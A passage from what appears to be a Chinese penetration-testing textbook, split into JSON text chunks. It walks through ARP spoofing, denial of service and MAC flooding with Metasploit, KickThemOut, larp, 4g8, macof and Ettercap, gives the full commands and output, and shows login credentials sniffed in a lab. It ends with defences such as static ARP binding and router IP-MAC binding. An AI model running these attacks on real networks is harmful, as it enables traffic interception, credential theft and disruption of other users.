从显示结果可以看到，成功配置了DHOSTS和SHOSTS选项参数。"},
    {"text": "执行命令： msf5 auxiliary(spoof/arp/arp_poisoning) > exploit [*] Building the destination hosts cache... [+] 192.168.195.245 appears to be up. [*] ARP poisoning in progress... 看到以上输出信息，就表明正在实施ARP欺骗。"},
    {"text": "（7）在新的终端窗口中，查看目标主机的ARP缓存表，如下： root@daxueba:~# arp Address HWtype HWaddress Flags Mask Iface _gateway ether 00:0c:29:22:80:62 C eth0 192.168.195.128 ether 00:0c:29:22:80:62 C eth0 从显示的ARP缓存表中可以看到，网关和攻击主机的MAC地址相同。"},
    {"text": "执行命令： root@daxueba:~# git clone https://github.com/k4m4/kickthemout.git 正克隆到 'kickthemout'... #下载到kickthemout目录 remote: Counting objects: 569, done. remote: Total 569 (delta 0), reused 0 (delta 0), pack-reused 569 接收对象中: 100% (569/569), 135.63 KiB | 197.00 KiB/s, 完成. 处理 delta 中: 100% (333/333), 完成. 看到以上输出信息，就表明已下载完成。"},
    {"text": "（2）切换到kickthemout目录，将看到包括的所有文件，如下： root@daxueba:~# cd kickthemout/ root@daxueba:~/kickthemout# ls code-of-conduct.md kickthemout.py LICENSE readme.md requirements.txt scan.py spoof.py 输出信息显示了该存储库中的所有文件。"},
    {"text": "其中，readme.md文件保存着KickThemOut工具的安装方法； requirements.txt文件给出了安装KickThemOut工具需要的依赖包。 （3）下面执行pip3命令安装KickThemOut工具的依赖包。"},
    {"text": "root@daxueba:~/kickthemout# pip3 install -r requirements.txt 输出结果如下： Collecting scapy-python3 (from -r requirements.txt (line 1)) Downloading https://files.pythonhosted.org/packages/d4/f2/14ae91e83cd9 8856879a7322406bed27053a8da23f4cf8218a2f5feedea9/scapy-python3-0.25.tar. gz (2.2MB) 100% |████████████████████████████████| 2.2MB 195kB/s Collecting python-nmap (from -r requirements.txt (line 2)) Downloading https://files.pythonhosted.org/packages/dc/f2/9e1a2953d4d8 24e183ac033e3d223055e40e695fa6db2cb3e94a864eaa84/python-nmap-0.6.1.tar. gz (41kB) 100% |████████████████████████████████| 51kB 5.8MB/s Collecting netifaces (from -r requirements.txt (line 3)) Downloading https://files.pythonhosted.org/packages/99/9e/ca74e521d0d8 dcfa07cbfc83ae36f9c74a57ad5c9269d65d1228c5369aff/netifaces-0.10.7-cp36- cp36m-manylinux1_x86_64.whl Building wheels for collected packages: scapy-python3, python-nmap Running setup.py bdist_wheel for scapy-python3 ... done Stored in directory: /root/.cache/pip/wheels/13/e7/48/a94b0d11ba176978 d5e3aec008fdd07febd16aba4982e93778 Running setup.py bdist_wheel for python-nmap ... done Stored in directory: /root/.cache/pip/wheels/bb/a6/48/4d9e2285291b458c 3f17064b1dac2f2fb0045736cb88562854 Successfully built scapy-python3 python-nmap Installing collected packages: scapy-python3, python-nmap, netifaces Successfully installed netifaces-0.10.7 python-nmap-0.6.1 scapy-python3- 0.25 从最后一行信息可以看到，成功安装了对应的依赖包。"},
    {"text": "接下来，就可以使用KickThemOut工具实施ARP攻击了。 【实例2-3】 使用KickThemOut工具实施ARP攻击。 具体操作步骤如下： （1）启动KickThemOut工具。"},
    {"text": "执行命令： root@daxueba:~/kickthemout# python3 kickthemout.py 输出如下信息： ERROR: Gateway IP could not be obtained. Please enter IP manually. kickthemout> Enter Gateway IP (e.g. 192.168.1.1): 从最后一行信息可以看到没有获取网关的IP地址。"},
    {"text": "例如，本例中网关的IP地址为192.168.33.2，于是执行命令指定该网关的IP地址为192.168.33.2： kickthemout> Enter Gateway IP (e.g. 192.168.1.1): 192.168.33.2 此时，已成功启动KickThemOut工具，结果如下： █ █▀ ▄█ ▄█▄ █ █▀ ▄▄▄▄▀ ▄ █ ▄███▄ █▀▄▀█ ████▄ ▄ ▄▄▄▄▀ █▄█ ██ █▀ ▀▄ █▄█ ▀▀▀ █ █ █ █▀ ▀ █ █ █ █ █ █ ▀▀▀ █ █▀▄ ██ █ ▀ █▀▄ █ ██▀▀█ ██▄▄ █ ▄ █ █ █ █ █ █ █ █ ▐█ █▄ ▄▀ █ █ █ █ █ █▄ ▄▀ █ █ ▀████ █ █ █ █ ▐ ▀███▀ █ ▀ █ ▀███▀ █ █▄ ▄█ ▀ ▀ ▀ ▀ ▀ ▀▀▀ Kick Devices Off Your LAN (KickThemOut) Made With <3 by: Nikolaos Kamarinakis (k4m4) & David Schütz (xdavidhu) Version: 2.0 Using interface 'eth0' with MAC address '00:0c:29:0b:6e:b5'. Gateway IP: '192.168.33.2' --> 5 hosts are up. #网关IP地址 Choose an option from the menu: #从菜单中选择一个选项 [1] Kick ONE Off #离线攻击一个主机 [2] Kick SOME Off #离线攻击多个主机 [3] Kick ALL Off #离线攻击所有主机 [E] Exit KickThemOut #退出KickThemOut工具 kickthemout> 看到“kickthemout>”提示符表明成功启动了KickThemOut工具。 输出信息提供了4个菜单选项，分别为Kick ONE Off（离线攻击一个主机）、Kick SOME Off（离线攻击多个主机）、Kick ALL Off（离线攻击所有主机）和Exit KickThemOut（退出KickThemOut工具）。"},
    {"text": "这里选择攻击所有主机，输入编号3，将显示如下信息： kickthemout> 3 kickALLOff selected... Target(s): [0] 192.168.33.1 00:50:56:C0:00:08 VMware, Inc. (N/A) [1] 192.168.33.2 00:50:56:FE:0A:32 VMware, Inc. (N/A) [2] 192.168.33.135 00:0C:29:9C:21:97 VMware, Inc. (N/A) [3] 192.168.33.229 00:0C:29:21:8C:96 VMware, Inc. (N/A) [4] 192.168.33.254 00:50:56:F7:77:D6 VMware, Inc. (N/A) Spoofing started... 从输出信息中可以看到，正在对当前局域网中的所有活动主机实施ARP攻击。"},
    {"text": "如果想要停止攻击，按Ctrl+C快捷键。 （3）停止ARP攻击，结果如下： ^C Re-arping targets... Re-arped targets successfully. Choose an option from the menu: [1] Kick ONE Off [2] Kick SOME Off [3] Kick ALL Off [E] Exit KickThemOut kickthemout> 看到以上输出信息，则表示停止了ARP攻击。"},
    {"text": "如果想要退出KickThemOut工具的交互模式，则输入E命令。 （4）退出kickThemOut工具，执行命令： kickthemout> E #退出KickThemOut工具 Thanks for dropping by. Catch ya later! 看到以上输出信息，就表明成功退出了KickThemOut工具。"},
    {"text": "具体操作步骤如下： （1）安装larp工具需要termcolor和netifaces的Python库。 因此，先安装这两个库文件，执行命令： root@daxueba:~# pip install termcolor #安装termcolor库 Collecting termcolor Downloading https://files.pythonhosted.org/packages/8a/48/a76be51647d0 eb9f10e2a4511bf3ffb8cc1e6b14e9e4fab46173aa79f981/termcolor-1.1.0.tar.gz Building wheels for collected packages: termcolor Running setup.py bdist_wheel for termcolor ... done Stored in directory: /root/.cache/pip/wheels/7c/06/54/bc84598ba1daf8f97 0247f550b175aaaee85f68b4b0c5ab2c6 Successfully built termcolor Installing collected packages: termcolor Successfully installed termcolor-1.1.0 root@daxueba:~# pip install netifaces #安装netifaces库 Collecting netifaces Downloading https://files.pythonhosted.org/packages/7e/02/ad1a92a72620 cc17d448fe4dbdfbdf8fe1487ee7bfd82bb48308712c2f3c/netifaces-0.10.9-cp27- cp27mu-manylinux1_x86_64.whl Installing collected packages: netifaces Successfully installed netifaces-0.10.9 从输出的信息中可以看到，成功安装了termcolor库和netifaces库。"},
    {"text": "执行命令： root@daxueba:~# git clone https://github.com/p4p1/larp 正克隆到 'larp'... remote: Enumerating objects: 13, done. remote: Counting objects: 100% (13/13), done. remote: Compressing objects: 100% (9/9), done. remote: Total 236 (delta 2), reused 10 (delta 2), pack-reused 223 接收对象中: 100% (236/236), 39.44 KiB | 169.00 KiB/s, 完成. 处理 delta 中: 100% (126/126), 完成. 看到以上输出信息，就表明已成功将larp工具的存储库保存到当前目录的larp目录下。"},
    {"text": "执行命令： root@daxueba:~# pip install -U /root/larp Processing ./larp Building wheels for collected packages: larp Running setup.py bdist_wheel for larp ... done Stored in directory: /tmp/pip-ephem-wheel-cache-tsRqnv/wheels/a4/97/3c/ e8435fcd59cad6d496a82970ed37767298ea916dc96c621076 Successfully built larp Installing collected packages: larp Successfully installed larp-0.1.2 从输出的信息中可以看到，larp工具安装成功。"},
    {"text": "具体操作步骤如下： （1）在/root目录中创建一个目标IP地址列表文件，其文件名为t_ip.txt。 执行命令： root@daxueba:~# vi t_ip.txt 192.168.195.128 192.168.195.245 （2）启动larp工具。"},
    {"text": "执行命令： root@daxueba:~# larp [!!] configuration, does not exists [!] CFG File Missing do you wish to generate one? [Y/n] 从输出信息中可以看到，目前还没有进行配置。"},
    {"text": "依次配置如下： [!!] configuration, does not exists [*] Enter the gateway of the network: #指定当前网络的网关 >>192.168.195.2 [*] Enter the interface you wish to use: #指定想要使用的接口 >>eth0 [*] Enter the path of the list of ip's: #指定IP地址列表的路径 >>/root/t_ip.txt [*] Enter the rate per second of arp packets: #指定发包速率 >>5 [*] Thank you for using gen_config_wizard! [*] Starting up... #开始初始化配置 [^] ip_forward configuration: 0 [!] modifing /proc/sys/net/ipv4/ip_forward to 1 #开启路由转发 [^] Retreiving ip's [*] Retreiving mac addrs IP addr -> ['192.168.195.128', '192.168.195.245'] #攻击目标的IP地址 [*] Setup finished! #设置完成 [*] Main Thread [^] Starting ARP poison #开始ARP欺骗 id_map -> {0: ['192.168.195.128', '00:0c:29:22:80:62', None, None], 1: ['192.168.195.245', '00:0c:29:a2:bb:f8', None, None]} #IP地址映射 [*] Main menu: [*] Number of client's: 0 #> 从输出信息中可以看到，目标IP地址192.168.195.128的MAC地址为00:0c:29:22:80:62；"},
    {"text": "如果想要停止ARP欺骗，则输入all命令。 （3）停止ARP欺骗。 执行命令： #> all [^] Restored: 192.168.195.128 [^] Restored: 192.168.195.245 看到以上输出信息，就表明已停止对目标实施ARP欺骗。"},
    {"text": "执行命令： root@daxueba:~# larp [*] Starting up... [^] ip_forward configuration: 1 [^] Retreiving ip's [*] Retreiving mac addrs IP addr -> ['192.168.195.128', '192.168.195.245'] [*] Setup finished! [*] Main Thread [^] Starting ARP poison id_map -> {0: ['192.168.195.128', '00:0c:29:22:80:62', None, None], 1: ['192.168.195.245', '00:0c:29:a2:bb:f8', None, None]} [*] Main menu: [*] Number of client's: 0 #>"},
    {"text": "未知 2.2.5 使用4g8工具 4g8是一款抓取其他主机数据包的工具。在交换机网络中，该工具会采用ARP缓存欺骗的方式模拟网关，从而捕获其他主机的网络数据。同时，该工具可以转存数据包以十六进制和ASCII码的形式显示，也可以保存为抓包文件，然后使用其他工具进行分析。下面将介绍如何以4g8工具来捕获数据包。 Kali Linux默认没有安装4g8工具。因此，使用之前需要先安装该工具。执行命令： root@daxueba:~# apt-get install 4g8 执行以上命令后，如果没有报错，则说明安装成功。该工具的语法格式如下： 4g8 [选项] 该工具中用来实施ARP抓包必须配置的选项及其含义如下： ·-g gw_ip：模拟网关的IP地址。 ·-G gw_mac：模拟网关的MAC地址。 ·-s host_ip：目标主机的IP地址。 ·-S host_mac：目标主机的MAC地址。 ·-i device：指定监听的网卡。 ·-w file：指定保存捕获数据的文件名。 ·-X：转储数据包为十六进制和ASCII码的形式。 【实例2-5】 使用4g8工具捕获目标主机上的数据包。其中，网关的IP地址为192.168.195.2，MAC地址为00:50:56:ea:f8:c7；目标主机的IP地址为192.168.195.245，MAC地址为00:0c:29:a2:bb:f8；攻击主机的MAC地址为00:0c:29:22:80:62；指定监听网卡为eth0。具体步骤如下： （1）开启路由转发。执行命令： root@daxueba:~# echo 1 > /proc/sys/net/ipv4/ip_forward （2）捕获目标主机上的网络数据，并将捕获的包保存到dump.pcap文件中。执行命令： root@daxueba:~# 4g8 -i eth0 -g 192.168.195.2 -G 00:50:56:ea:f8:c7 –s 192.168.195.245 -S 00:0c:29:a2:bb:f8 -w dump.pcap GW: (ip src host 192.168.195.245 and ether dst 0:c:29:22:80:62) or (ip dst host 192.168.195.245 and ether dst 0:c:29:22:80:62) 4g8: Lets see what 192.168.195.245 is up to. (Device: eth0) 从输出信息中可以看到，该包的目标主机的MAC地址为00:0c:29:22:80:62（攻击主机的MAC地址）。由此可知，已成功欺骗了目标主机。当目标主机有网络数据传输时，将被捕获。如果想要停止捕获数据包，就按Ctrl+C快捷键。例如，在目标主机上访问 http://mail.163.com/ 之后，4g8工具将捕获相应的数据包。 （3）这里使用Wireshark打开捕获文件，并进行数据包分析，如图2.4所示。 图2.4 捕获的数据包 （4）从图2.4中可以看到，第93帧是目标主机请求访问 http://mail.163.com/ 的数据包。其中，源IP地址为192.168.195.245（目标主机），目标IP地址为123.125.50.26（目标网站）。由此可知，攻击主机成功捕获了目标主机的数据包。"},
    {"text": "未知 2.2.6 使用macof工具 macof是一个MAC洪水攻击工具，它可以发送大量伪造的MAC地址数据包，使交换机的MAC表溢出。交换机的MAC表溢出后，交换机会将以后收到的数据包以广播方式发送。macof工具的语法格式如下： macof [选项] 【实例2-6】 实施MAC洪水攻击。执行命令： root@daxueba:~# macof c8:d1:4e:13:40:27 74:12:b0:63:4c:c4 0.0.0.0.6610 > 0.0.0.0.46239: S 74050953:74050953(0) win 512 81:be:62:40:7c:b8 2c:a2:2c:1e:1:8c 0.0.0.0.22458 > 0.0.0.0.46329: S 444589335:444589335(0) win 512 dd:1e:19:21:f9:c9 37:10:8f:a:2a:ea 0.0.0.0.7580 > 0.0.0.0.24083: S 547584859:547584859(0) win 512 dd:98:80:3e:15:81 9e:99:7c:3a:81:cd 0.0.0.0.7435 > 0.0.0.0.57139: S 1390154526:1390154526(0) win 512 6b:9c:c1:4e:dd:e4 f2:40:88:6:86:ab 0.0.0.0.62263 > 0.0.0.0.18586: S 1560635536:1560635536(0) win 512 1d:16:f5:1a:8c:5 5d:f5:6b:47:d8:4b 0.0.0.0.12569 > 0.0.0.0.36178: S 373089507:373089507(0) win 512 14:e6:18:54:7d:d2 37:c9:f5:4:48:8e 0.0.0.0.16290 > 0.0.0.0.15626: S 2009922293:2009922293(0) win 512 3c:28:cc:23:ef:dd 60:d3:19:37:83:93 0.0.0.0.42014 > 0.0.0.0.64685: S 262288466:262288466(0) win 512 cb:18:b2:56:6:75 95:36:aa:38:47:2c 0.0.0.0.18772 > 0.0.0.0.29176: S 1554485152:1554485152(0) win 512 91:ed:7e:51:75:a6 7a:3e:77:58:3e:d 0.0.0.0.41164 > 0.0.0.0.62559: S 1519229294:1519229294(0) win 512 cd:e5:2f:34:4:40 93:ce:eb:22:77:24 0.0.0.0.8145 > 0.0.0.0.30630: S 1312827746:1312827746(0) win 512 9a:20:c0:40:20:67 3e:43:8d:15:9a:d0 0.0.0.0.12176 > 0.0.0.0.23739: S 1713644927:1713644927(0) win 512 e8:ec:46:34:b3:4a 69:cb:e4:76:20:38 0.0.0.0.61200 > 0.0.0.0.30910: S 1183818972:1183818972(0) win 512 …… 从输出的信息中可以看到大量伪造的MAC地址包。 提示： 在进行MAC洪水攻击时，之前就存在于交换机MAC表中的条目不会被覆盖，只能等到这些条目超时失效。"},
    {"text": "具体操作步骤如下： （1）启动Ettercap工具的工作窗口。 执行命令： root@kali:~# ettercap -G 执行以上命令后，将显示如图2.5所示的窗口。 图2.5 Ettercap窗口 （2）该窗口是Ettercap工具的初始窗口。"},
    {"text": "如果要查看扫描到的主机信息，依次选择Hosts|Hosts list命令或按Ctrl+H快捷键，如图2.11所示。 图2.11 打开主机列表 （8）在Ettercap的工作窗口中将打开Host List选项卡，如图2.12所示。 图2.12 扫描到的所有主机 （9）在Host List选项卡中显示了扫描到的4台主机的IP地址和MAC地址。"},
    {"text": "启动ARP欺骗，在菜单栏中依次选择Mitm|Arp poisoning...命令，如图2.15所示。 图2.13 添加的目标主机 图2.14 启动嗅探 （12）打开MITM Attack:ARP Poisoning对话框，如图2.16所示。"},
    {"text": "图2.15 启动ARP攻击 图2.16 选择攻击方式 图2.17 实施ARP双向欺骗 （13）此时，当目标主机192.168.195.245访问某网站，或者其他主机访问该主机的服务时，它的敏感信息将会被传递给攻击者。"},
    {"text": "假设目标主机上搭建了FTP服务，则当有其他主机访问该服务时，登录信息将被嗅探到，如图2.18所示。 图2.18 捕获的信息 （14）从图2.18中可以看到，有主机登录目标主机的FTP服务了。"},
    {"text": "在菜单栏中依次选择Start|Stop sniffing命令或按Shift+Ctrl+E组合键，停止嗅探，如图2.20所示。 图2.20 停止嗅探 图2.21 停止中间人攻击 （16）在菜单栏中依次选择Mitm|Stop mitm attack(s)命令，将弹出如图2.21所示的对话框。"},
    {"text": "其中，Ettercap工具的语法格式如下： ettercap [选项] [目标1] [目标2] 用于实施ARP攻击的选项及含义如下： ·-i：选择网络接口，默认将选择第一个接口eth0。"},
    {"text": "（1）启动Ettercap工具，执行命令： root@daxueba:~# ettercap -Tq -M arp:remote /192.168.195.245/// ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:22:80:62 192.168.195.128/255.255.255.0 fe80::20c:29ff:fe22:8062/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % Scanning for merged targets (1 hosts)... * |==================================================>| 100.00 % 4 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.195.245 00:0C:29:A2:BB:F8 GROUP 2 : ANY (all the hosts in the list) Starting Unified sniffing... #启动了UNIFIED嗅探 Text only Interface activated... Hit 'h' for inline help 从输出的信息中可以看到，指定的目标1为192.168.195.245，并且启动了UNIFIED嗅探。"},
    {"text": "（2）查看可执行的内部命令，结果如下： Inline help: [vV] - change the visualization mode [pP] - activate a plugin [fF] - (de)activate a filter [lL] - print the hosts list [oO] - print the profiles list [cC] - print the connections list [sS] - print interfaces statistics [<space>] - stop/cont printing packets [qQ] - quit 从输出的信息中可以看到提供的几个内部命令及其对应的含义。"},
    {"text": "本例中捕获的信息如下： HTTP : 183.201.252.131:80 -> USER: testuser PASS: password INFO: http:// bbs.chinaunix.net/member.php?mod=logging&action=login&logsubmit=yes CONTENT: formhash=b3436d6b&referer=http%3A%2F%2Fbbs.chinaunix.net%2F. %2F&username=testuser&password=password&loginsubmit=true&return_type= HTTP : 111.30.159.168:80 -> USER: PASS: 1480953799 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: 80630098ecc8fab3effb5fb066a0bffe PASS: 1636975887 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: PASS: 0 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: PASS: 1480953799 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: 80630098ecc8fab3effb5fb066a0bffe PASS: 1636975887 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: PASS: 1480953799 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: PASS: 1480953799 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: PASS: 1480953799 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: 80630098ecc8fab3effb5fb066a0bffe PASS: 1636975887 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: PASS: 0 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: PASS: 1480953799 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: 80630098ecc8fab3effb5fb066a0bffe PASS: 1636975887 INFO: http://www.qq.com/ HTTP : 111.30.159.168:80 -> USER: PASS: 1480953799 INFO: http://www.qq.com/ 从输出的信息中可以看到，目标主机登录了ChinaUnix论坛，并访问了腾讯网站。"},
    {"text": "（4）按q键，停止攻击，将显示如下信息： Terminating ettercap... Lua cleanup complete! ARP poisoner deactivated. RE-ARPing the victims... Unified sniffing was stopped. 从输出的信息中可以看到，已成功停止了UNIFIED嗅探。"},
    {"text": "未知 2.3 防御策略 ARP攻击与欺骗主要是利用ARP的缺陷进行攻击的。防止ARP攻击与欺骗是比较困难的，因为用户不可能修改协议。但是，用户可以利用一些工具来提高本地网络的安全性。例如，使用静态ARP、路由器自带的ARP防护功能、ARP防火墙或者其他一些工具等。本节将介绍ARP攻击与欺骗的防御策略。 未知 2.3.1 静态ARP绑定 防御ARP攻击和ARP欺骗最有效的方式是进行IP-MAC地址绑定。用户通过在主机和网关（路由器）上实现双向IP地址和MAC地址绑定，即可提高其网络的安全性。下面将介绍使用arp命令，在主机上进行静态ARP绑定。 【实例2-9】 配置静态ARP。具体操作步骤如下： （1）查看当前主机的ARP缓存表。执行命令： root@daxueba:~# arp -n Address HWtype HWaddress Flags Mask Iface 192.168.33.229 ether 00:0c:29:21:8c:96 C eth0 192.168.33.254 ether 00:50:56:f7:77:d6 C eth0 192.168.33.2 ether 00:50:56:fe:0a:32 C eth0 192.168.33.228 ether 00:0c:29:0b:6e:b5 C eth0 从输出的信息中可以看到，当前主机中有4条ARP记录。一般情况下，攻击者会选择对网关实施ARP攻击。因此，这里将网关的IP地址和MAC地址进行静态绑定。此时，要先判断ARP条目是动态还是静态，其主要方法是查看Flags Mask列的值。其中，C表示动态ARP条目；CM表示静态ARP条目。 （2）对网关的IP-MAC地址进行静态绑定。执行命令： root@daxueba:~# arp -s 192.168.33.2 00:50:56:fe:0a:32 执行以上命令后，将不会输出任何信息。 （3）再次查看ARP缓存表。执行命令： root@daxueba:~# arp -n Address HWtype HWaddress Flags Mask Iface 192.168.33.229 ether 00:0c:29:21:8c:96 C eth0 192.168.33.254 ether 00:50:56:f7:77:d6 C eth0 192.168.33.2 ether 00:50:56:fe:0a:32 CM eth0 192.168.33.228 ether 00:0c:29:0b:6e:b5 C eth0 从输出的信息中可以看到，192.168.33.2主机的ARP条目中的Flags Mask列的值为CM。由此可知，已成功对网关地址进行了静态ARP绑定。 提示： 用户手动创建的静态ARP，重新启动之后就没有了。 未知 2.3.2 在路由器中绑定IP-MAC 为了使网络更安全，用户还需要在路由器中进行IP-MAC地址绑定。目前，大部分路由器都自带该功能。下面将以TP-LINK路由器为例，介绍绑定IP-MAC地址的方法。 【实例2-10】 在TC-LINK路由器中进行IP-MAC地址绑定。具体操作步骤如下： （1）登录路由器。一般路由器默认的地址是192.168.1.1或192.168.0.1。其默认的用户名和密码都为admin。成功登录路由器后，将显示如图2-22所示的界面。 图2.22 路由器管理界面 （2）在路由器界面中选择“IP与MAC绑定”选项，在其下有两个子选项，分别是“静态ARP绑定设置”和“ARP映射表”。其中，静态ARP绑定设置是用来设置ARP绑定的MAC地址和IP地址；ARP映射表可以查看绑定的ARP条目和学习到的动态ARP条目。 （3）这里选择“静态ARP绑定设置”菜单，如图2.23所示。 图2.23 静态ARP绑定设置 （4）选择“启用”单选按钮，启用ARP绑定。此时，默认没有任何的ARP绑定条目。单击“增加单个条目”按钮，将显示如图2.24所示的界面。 图2.24 设置ARP绑定的IP地址和MAC地址 （5）在如图2.24所示界面中，选择“绑定”复选框，分别在“MAC地址”文本框和“IP地址”文本框中输入将要绑定的MAC地址和IP地址，然后单击“保存”按钮，将显示如图2.25所示的界面。 图2.25 绑定的ARP条目 （6）从图2.25所示界面中可以看到有一条绑定的ARP条目。其中，IP地址为192.168.6.101，MAC地址为00-19-21-3F-C3-E5。然后单击“保存”按钮，使添加的ARP条目生效。 使用ARP映射可以快速绑定路由器动态学习到的ARP条目。具体操作步骤如下： （1）在“IP与MAC绑定”菜单中选择“ARP映射表”菜单，如图2.26所示。 图2.26 ARP映射表 （2）从ARP映射表中可以看到有两条ARP条目。其中，一条状态为已绑定，另一条为未绑定。这里选择未绑定的ARP条目，进行绑定。在ID为1的ARP条目中，单击“导入”按钮，该条目将被导入到“静态ARP绑定设置”界面的列表中。 （3）选择“静态ARP绑定设置”菜单，如图2.27所示。 图2.27 导入的ARP条目 （4）从图2.27中可以看到导入的ARP条目。现在还没有绑定，需要选择“绑定”复选框才可以。最后，单击“保存”按钮，则该ARP条目被成功绑定。 （5）再次查看“ARP映射表”界面，如图2.28所示。 图2.28 绑定的条目 （6）从图2.28中可以看到，ID为1的ARP条目显示“已绑定”。"},
    {"text": "未知 2.3.3 使用Arpspoof工具 使用Arpspoof工具不仅可以进行ARP欺骗，也可以防御ARP欺骗。前面使用该工具进行ARP欺骗时，是通过发送假的ARP包给网关或主机实现的。那么，如何使用该工具实现防御呢？方法是每秒发送无数个ARP包给主机或网关，告诉主机或网关正确的ARP。本节将介绍如何使用Arpspoof工具防御ARP欺骗。 Arpspoof工具包含在dsniff软件包中。为了加快ARP发包速度，需要编译安装整个软件包。编译安装操作步骤如下： （1）下载最新版本的dsniff软件包源码。执行命令： root@kali:~# mkdir dsniff #创建目录，用于保存dsniff软件包源码 root@kali:~# cd dsniff root@kali:~/dsniff# apt-get source dsniff #下载dsniff软件包源码 执行以上命令后，dsniff软件包源码被下载到当前目录中。下面查看下arpspoof.c文件。在该文件中，可以配置Arpspoof发送数据包的时间。执行命令： root@kali:~# cd dsniff-2.4b1+debian/ root@kali:~/dsniff-2.4b1+debian# vi arpspoof.c #打开arpspoof.c文件 打开该文件后，找到如下内容： for (;;) { struct host *target = targets; while(target->ip) { arp_send(l, ARPOP_REPLY, my_ha, spoof.ip, (target->ip ? (u_int8_t *)&target->mac : brd_ha), target->ip, my_ha); if (poison_reverse) { arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *) &spoof.mac, spoof.ip, my_ha); } target++; } sleep(2); } 其中，sleep(2)表示发送一个数据包后暂停2秒，即每隔2秒发送一个数据包。如果要使用该工具防御ARP欺骗，必须要将这个时间缩短。这是因为某些暴力攻击程序，每秒可能发送几百个ARP欺骗包。但是使用sleep()函数来设置，最低只能设置为1秒，不能有效地实施防御。这里使用另外一个函数usleep()。usleep()函数用毫微秒（十亿分之一秒）来计算，所以可以使用该函数来实现对ARP攻击的防御。将源代码进行如下修改： for (;;) { struct host *target = targets; while(target->ip) { arp_send(l, ARPOP_REPLY, my_ha, spoof.ip, (target->ip ? (u_int8_t *)&target->mac : brd_ha), target->ip, my_ha); if (poison_reverse) { arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *) &spoof.mac, spoof.ip, my_ha); } target++; } usleep(10000); } 由此可以看出，将usleep()函数的值设置为了10000。 （2）编译源代码。执行命令： root@kali:~/dsniff-2.4b1+debian# cd .. #切换到上级目录 root@kali:~/dsniff# apt-get build-dep dsniff #解决依赖关系 root@kali:~/dsniff# apt-get source -b dsniff #编译源代码 如果编译成功后，将会在当前目录下生成一个.deb文件，类似于dsniff_2.4b1+debian-29_amd64.deb。 （3）安装该软件包。执行命令： root@kali:~/dsniff# dpkg -i dsniff_2.4b1+debian-29_amd64.deb 执行以上命令后，如果没有出错，则表示安装成功。为了防止该软件包在升级过程中被替换掉，可以锁定这个包，让该包无法升级。执行命令： root@kali:~/dsniff# echo -e \"dsniff hold\" | dpkg --set-selections 执行以上命令后，没有任何输出信息。通过以上操作将dsniff软件包安装成功后，就可以使用Arpspoof工具实现对主机或网关的ARP攻击防御了。当与网关进行通信时，使用arpspoof命令发送正确的ARP包给网关。执行命令： root@kali:~# arpspoof -i eth0 -t 192.168.5.1 192.168.5.10 0:c:29:83:ac:b0 c8:3a:35:84:78:1e 0806 42: arp reply 192.168.5.10 is-at 0:c:29:83:ac:b0 0:c:29:83:ac:b0 c8:3a:35:84:78:1e 0806 42: arp reply 192.168.5.10 is-at 0:c:29:83:ac:b0 0:c:29:83:ac:b0 c8:3a:35:84:78:1e 0806 42: arp reply 192.168.5.10 is-at 0:c:29:83:ac:b0 0:c:29:83:ac:b0 c8:3a:35:84:78:1e 0806 42: arp reply 192.168.5.10 is-at 0:c:29:83:ac:b0 0:c:29:83:ac:b0 c8:3a:35:84:78:1e 0806 42: arp reply 192.168.5.10 is-at 0:c:29:83:ac:b0 0:c:29:83:ac:b0 c8:3a:35:84:78:1e 0806 42: arp reply 192.168.5.10 is-at 0:c:29:83:ac:b0 0:c:29:83:ac:b0 c8:3a:35:84:78:1e 0806 42: arp reply 192.168.5.10 is-at 0:c:29:83:ac:b0 0:c:29:83:ac:b0 c8:3a:35:84:78:1e 0806 42: arp reply 192.168.5.10 is-at 0:c:29:83:ac:b0 ..... 执行以上命令后，只要用户给网关发送正确的ARP包的速度比攻击者快，就不会影响与网关的通信。这样就实现了ARP防御。"},
    {"text": "未知 2.3.4 使用Arpoison工具 使用Arpoison工具防御ARP攻击的原理和Arpspoof工具一样，也是向网关发送正确的MAC地址。但是在防御时，发送ARP包的速度一定要比通常情况下快。否则，可能起不到防御作用。下面介绍如何使用Arpoison工具实施ARP防御。 1.下载并安装Arpoison工具 Arpoison工具是一个第三方工具，需要先安装才可以使用。Arpoison工具的官方下载地址为 http://www.arpoison.net/ 。访问成功后，将显示Arpoison下载界面，如图2.29所示。 图2.29 Arpoison下载界面 在该界面中单击arpoison-0.7.tar.gz超链接即可下载Arpoison安装包。从该界面中可以看到，安装Arpoison工具还需要Libnet。 【实例2-11】 编译安装Arpoison工具。具体操作步骤如下： （1）由于编译Arpoison工具依赖Libnet，所以需要先安装Libnet。下载Libnet源码包，执行命令： root@daxueba:~# apt-get source libnet 成功执行以上命令后，即可下载Libnet源码包。下载成功后，将在当前目录中出现一个名为libnet-1.1.6+dfsg的文件夹。 （2）切换到libnet-1.1.6+dfsg目录，对源码包进行配置。执行命令： root@daxueba:~/libnet-1.1.6+dfsg# ./configure （3）编译Libnet。执行命令： root@daxueba:~/libnet-1.1.6+dfsg# make （4）安装Libnet。执行命令： root@daxueba:~/libnet-1.1.6+dfsg# make install 执行以上命令后，Libnet安装成功。 （5）解压Arpoison安装包。执行命令： root@daxueba:~# tar zxvf arpoison-0.7.tar.gz 